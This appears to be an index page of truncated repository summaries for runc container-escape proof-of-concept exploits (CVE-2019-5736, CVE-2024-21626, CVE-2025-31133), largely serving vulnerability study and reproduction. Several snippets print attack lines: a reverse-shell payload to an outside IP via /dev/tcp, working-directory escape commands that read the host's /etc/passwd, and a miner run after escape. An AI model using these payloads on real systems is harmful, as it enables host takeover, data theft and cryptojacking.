CVE-2024-21626

CVE-2024-21626 POC Requirements runc 1.1.0 /proc/self/cwd/../../../bin/bash.copy & /dev/tc...

Learn-about-cve-2025-31133-poc

Learn-about-cve-2025-31133-poc Overview A proof-of-concept demonstration and learning environment for CVE-2025-31133 , a security vulnerability in runc that allows bypassing maskedPaths protection through a race condition. maskedPaths are designed to prevent containers from accessing sensitive ho...

CVE-2019-5736-Custom-Runtime

CVE-2019-5736-Custom-Sandbox General CVE-2019-5736 implemented using a shallow, self-written container runtime to understand the exploit. Exploit is based on and almost all copied from the runc-poc by twistlock: https://github.com/twistlock/RunC-CVE-2019-5736/tree/master/maliciousimagePOC Contain...

CVE-2024-21626

PoC of CVE-2024-21626 Read my full article for detailed explanation here. Related article While investigating CVE-2024–21626 , I discovered an overlooked vulnerability in older versions of Docker and runC. To learn more about what I found, read the following article: “Exploring Hidden...

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 Usage : machine is vulnerable to CVE-2019-5736, follow steps in Runc exploit CVE-2019-5736. Download file main.go, change the payload in the file into: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" After that, run: go build main.go Host a...

RunC-CVE-2019-5736

RunC-CVE-2019-5736 Two PoCs for CVE-2019-5736. See Twistlock Labs for an explanation of CVE-2019-5736 and the PoCs. The malicious image PoC is heavily based on q3k’s PoC, so all credit goes to him. Running the PoCs Note that running the PoCs will overwrite the runc binary on the host. It is...

Docker-breakout-runc

Docker breakout via runc Originally from : https://github.com/Frichetten/CVE-2019-5736-PoC. This repo is simply me messing around with the PoC and attempting to figure the exploit's flow...

CVE-2026-D0cker

CVE-2026-Pending: Container Escape via runC maskPaths Vunlerability Severity: Critical CVSS 9.8 Component: opencontainers/runc libcontainer Vulnerability Type: CWE-59: Improper Link Resolution Before File Access 'Link Following' 🚨 Executive Summary A critical vulnerability exists in runc's...

GHSA-VWCJ-R8V9-P53F vulnerabilities

Vulnerabilities for packages: step-ca, cert-manager, opentelemetry-collector, hugo-extended, rclone, runc, hugo, wuzz, hubble, flux, k8s-device-plugin, prometheus-operator, k6, containerd, external-dns, kine, k3s, kaf, cilium-cli, loki, zot, gitea, telegraf, spire-server, helm,...

CVE-2024-21626

CVE-2024-21626 For detailed explanation for this vulnerability, plz refer to my article. Exploit Exploit via Running a Container No need to build a custom image, just run a container with -w parameter: docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm Exploit via Execin...

Holistic-Deconstruction-of-CVE-2019-5736-

= doi.org/10.5281/zenodo.18304765 = orcid.org/0009-0007-7728-256X README.md 💀 CVE-2019-5736: runc Container Breakout Deconstruction Advanced Purple Teaming & Forensic Analysis of Host Root Escape 🛡️ Overview This repository contains a high-fidelity deconstruction and Proof-of-Concept PoC for...

CVE-2025-31133

CVE-2025-31133 PoC Exploit This document explains the functionality of the provided Proof-of-Concept PoC script for the runc vulnerability CVE-2025-31133. Summary Vulnerability: CVE-2025-31133 - A symbolic link race condition in runc's maskedPaths handling. Impact: A malicious container can bypas...

cve-2019-5736-poc

To run: 1. edit poc command in stage2.c 2. build docker docker build -t cve . 3. run docker docker run -d cve /bin/bash -c "tail -f /dev/null" 4. backup docker-runc cp /usr/bin/docker-runc /usr/bin/docker-runc.bak 5. docker exec -it docker-id /bin/bash 6. in docker run cd /root && ./run.sh && exi...

CVE-2024-21626

CVE-2024-21626 Exploit Working Directory docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm Important is to put -w /proc/self/fd/8\ Access the host filesystem using cat ../../../../../../../../../etc/passwd inside the container Exploit Symlink 1. docker run --name...

CVE-2019-5736

Usage Edit HOST inside payload.c, compile with make. Start nc and run pwn.sh inside the container. Notes This exploit is destructive: it'll overwrite /usr/bin/docker-runc binary on the host with the payload. It'll also overwrite /bin/sh inside the container. Tested only on Debian 9. No attempts...

CVE-2019-5736

Usage Edit HOST inside payload.c, compile with make. Start nc and run pwn.sh inside the container. Notes This exploit is destructive: it'll overwrite /usr/bin/docker-runc binary on the host with the payload. It'll also overwrite /bin/sh inside the container. Tested only on Debian 9. No attempts...

container-escape-ebpf

White Paper https://www.scs-europe.net/dlib/2026/2026-0321.html Assumptions Host runs vulnerable version of runc: For CVE-2025-31133: 1.2.7 and below, 1.3.0-rc.1 through 1.3.2, 1.4.0-rc.1 and 1.4.0-rc.2. For CVE-2024-21626: 1.0.0-rc93 through 1.1.11. Unprivileged user is able to create containers...

CVE-2024-21626-runcPOC

Vulnerability Reproduction CVE-2024-21626 docker runc Escape Vulnerability 1. Vulnerability Overview Vulnerability Name| docker runc Escape Vulnerability ---|--- CVE ID| CVE-2024-21626 Disclosure Date| 2024-01-31 Characteristic| / Affected Versions| runc @ v1.0.0-rc93, 1.1.11 2. Exploitation &...

CVE-2024-21262

RECORDS Only for reproduction of CVEs. Related Resources: LINK GITHUB1 GITHUB2 ISSUE Check Envs Download docker-24.0.6.tgz from https://download.docker.com/linux/static/stable/x8664/. sudo mkdir -p /usr/local/docker-24.0.6 sudo tar -xzf docker-24.0.6.tgz -C /usr/local/docker-24.0.6 sudo ln -sf...

Docker-Escape-Miner

Using a published Docker exploit to gain root access and run a bitcoin mining script This uses two open source libraries: nightminer by @ricmoo for python bitcoin mining RunC-CVE-2019-5736 by @twistlock for the docker escape System Requirements This was tested on Kali Linux, with Docker version...